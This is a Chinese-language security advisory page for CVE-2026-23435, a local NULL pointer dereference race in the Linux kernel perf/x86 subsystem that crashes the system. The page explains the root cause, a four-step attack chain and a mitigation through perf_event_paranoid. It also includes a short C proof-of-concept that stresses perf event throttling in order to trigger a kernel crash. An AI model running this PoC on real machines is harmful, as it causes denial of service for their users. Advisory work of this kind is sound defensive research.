IPBUF安全漏洞报告
English
CVE-2026-23435 CVSS 5.5 中危

CVE-2026-23435 Linux内核Perf空指针拒绝服务漏洞

披露日期: 2026-04-03
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23435
漏洞类型
空指针引用 / 拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNULL Pointer DereferenceDoSRace ConditionPerf SubsystemLocal

漏洞概述

该漏洞存在于Linux内核的perf/x86子系统中,涉及PMU(性能监控单元)事件指针的初始化时机问题。漏洞的根本原因是在x86_pmu_enable()函数中,将cpuc->events[idx]的赋值操作移动到了PERF_HES_ARCH检查之后。这一变更导致在解限流的特定执行路径下,active_mask被置位但对应的events[]数组项仍为NULL。当PMC溢出触发NMI中断时,处理器试图访问这个空指针,从而引发内核空指针解引用错误。攻击者利用本地低权限即可触发该竞态条件,导致系统崩溃,造成拒绝服务。

技术细节

漏洞的核心在于Linux内核perf子系统在Intel/AMD x86架构上的事件调度逻辑存在竞态条件。受影响的提交将事件指针的赋值逻辑从x86_pmu_start()转移到了x86_pmu_enable(),且位置不当,导致绕过了正常的初始化流程。具体攻击链如下:首先,攻击者触发一组perf事件溢出,导致内核调用perf_event_throttle_group()停止事件并设置PERF_HES_STOPPED状态。此时,active_mask被清除,但events[]数组可能保留旧值。其次,在事件仍处于限流状态时,若发生调度活动运行x86_pmu_enable(),由于事件带有PERF_HES_ARCH标志,代码会跳过对events[]数组的重新填充。随后,定时器中断触发解限流操作,直接调用x86_pmu_start()。由于该函数不再负责填充events[],它仅设置了active_mask,导致events[idx]保持为NULL。最后,当硬件PMC再次溢出触发NMI处理程序时,它遍历active_mask并尝试访问events[]中的指针,因解引用NULL指针而导致内核崩溃。

攻击链分析

STEP 1
步骤1:触发限流
攻击者触发一组perf事件溢出,导致内核调用perf_event_throttle_group(),事件被停止,active_mask被清除。
STEP 2
步骤2:调度与跳过赋值
在事件仍处于限流状态时,x86_pmu_enable()运行。由于PERF_HES_ARCH标志的存在,代码跳过对events[]数组的赋值。
STEP 3
步骤3:解除限流
定时器中断触发解限流,调用x86_pmu_start()。此时active_mask被重新设置,但events[]对应位置仍为NULL。
STEP 4
步骤4:NMI崩溃
PMC溢出触发NMI中断,处理程序根据active_mask访问events[],遇到NULL指针导致内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <linux/perf_event.h> #include <sys/syscall.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/ioctl.h> // PoC for CVE-2026-23435: Triggering the race condition // This code attempts to stress the perf subsystem to trigger the unthrottle path. static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags); } int main() { struct perf_event_attr pe; int fd; memset(&pe, 0, sizeof(pe)); pe.type = PERF_TYPE_HARDWARE; pe.size = sizeof(pe); pe.config = PERF_COUNT_HW_CPU_CYCLES; pe.disabled = 0; pe.inherit = 1; // Enable frequency mode to trigger throttling/unthrottling pe.freq = 1; pe.sample_freq = 1000000; fd = perf_event_open(&pe, 0, -1, -1, 0); if (fd == -1) { perror("perf_event_open"); return -1; } printf("Perf event opened. Waiting for potential crash (NMI)..."); fflush(stdout); // Keep the process running to allow the kernel to handle PMU overflows while(1) { sleep(1); } close(fd); return 0; }

影响范围

Linux Kernel (Mainline)
Linux Kernel (Stable branches before commit 886fa8691539)

防御指南

临时缓解措施
限制非特权用户对perf事件的访问权限(通过perf_event_paranoid设置),或通过内核参数禁用PMU以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表